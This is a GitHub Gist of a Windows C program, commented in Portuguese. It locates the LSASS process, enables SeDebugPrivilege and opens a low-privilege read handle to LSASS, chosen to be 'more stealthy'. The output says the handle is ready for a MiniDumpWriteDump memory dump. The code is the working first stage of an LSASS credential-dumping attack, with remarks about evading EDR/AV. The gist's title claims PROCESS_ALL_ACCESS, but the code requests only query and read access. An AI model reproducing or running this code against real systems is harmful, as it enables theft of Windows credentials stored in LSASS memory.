Last active
October 8, 2025 01:53
-
-
Save marcostolosa/1078b899ada0aa5dd1f9028f869291b2 to your computer and use it in GitHub Desktop.
Encontra PID, habilita SeDebugPrivilege e abre handle PROCCESS_ALL_ACCESS no LSASS
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <stdio.h> | |
#include <tlhelp32.h> | |
// 1. Encontra o PID do LSASS sozinho (dinâmico). | |
// 2. Habilita SeDebugPrivilege. | |
// 3. Abre um handle com privilégios mínimos pro LSASS (mais furtivo). | |
BOOL EnableDebugPrivilege() { | |
HANDLE hToken; | |
TOKEN_PRIVILEGES tkp; | |
LUID luid; | |
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { | |
printf("[-] Falha ao abrir token: %lu\n", GetLastError()); | |
return FALSE; | |
} | |
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { | |
printf("[-] Falha ao buscar LUID: %lu\n", GetLastError()); | |
CloseHandle(hToken); | |
return FALSE; | |
} | |
tkp.PrivilegeCount = 1; | |
tkp.Privileges[0].Luid = luid; | |
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | |
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) { | |
printf("[-] Falha ao ajustar privilégios: %lu\n", GetLastError()); | |
CloseHandle(hToken); | |
return FALSE; | |
} | |
// A verificação crucial: AdjustTokenPrivileges pode retornar TRUE mas não fazer nada. | |
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { | |
printf("[-] O token não possui o privilégio SeDebugPrivilege. Rode como Admin.\n"); | |
CloseHandle(hToken); | |
return FALSE; | |
} | |
CloseHandle(hToken); | |
return TRUE; | |
} | |
DWORD GetLsassPid() { | |
HANDLE hSnapshot; | |
PROCESSENTRY32 pe32; | |
DWORD pid = 0; | |
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); | |
if (hSnapshot == INVALID_HANDLE_VALUE) return 0; | |
pe32.dwSize = sizeof(PROCESSENTRY32); | |
if (!Process32First(hSnapshot, &pe32)) { | |
CloseHandle(hSnapshot); | |
return 0; | |
} | |
do { | |
if (wcscmp(pe32.szExeFile, L"lsass.exe") == 0) { | |
pid = pe32.th32ProcessID; | |
break; | |
} | |
} while (Process32Next(hSnapshot, &pe32)); | |
CloseHandle(hSnapshot); | |
return pid; | |
} | |
int main() { | |
DWORD pid = 0; | |
HANDLE hProcess; | |
// --- PASSO 1: ENCONTRAR PID DO LSASS --- | |
printf("[*] Procurando PID do LSASS...\n"); | |
pid = GetLsassPid(); | |
if (pid == 0) { | |
printf("[-] LSASS não encontrado. Tá rodando isso em um Linux, TR0P?\n"); | |
return 1; | |
} | |
printf("[+] PID do LSASS: %lu\n", pid); | |
// --- PASSO 2: HABILITAR SeDebugPrivilege --- | |
printf("[*] Habilitando SeDebugPrivilege...\n"); | |
if (!EnableDebugPrivilege()) { | |
printf("[-] Não foi possível habilitar SeDebugPrivilege.\n"); | |
return 1; | |
} | |
printf("[+] SeDebugPrivilege habilitado!\n"); | |
// --- PASSO 3: ABRIR HANDLE COM PRIVILÉGIOS MÍNIMOS --- | |
printf("[*] Tentando abrir handle para o LSASS...\n"); | |
DWORD desiredAccess = PROCESS_QUERY_INFORMATION | PROCESS_VM_READ; | |
hProcess = OpenProcess(desiredAccess, FALSE, pid); | |
if (hProcess == NULL) { | |
printf("[-] Falha ao abrir handle para o LSASS: %lu\n", GetLastError()); | |
printf("[!] Isso pode ser causado por um EDR/AV (Kernel Protection).\n"); | |
return 1; | |
} | |
printf("[+] SUCESSO! Handle aberto com os privilégios necessários.\n"); | |
printf("[*] Handle: 0x%p (pronto para dumpar a memória com MiniDumpWriteDump)\n", hProcess); | |
CloseHandle(hProcess); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment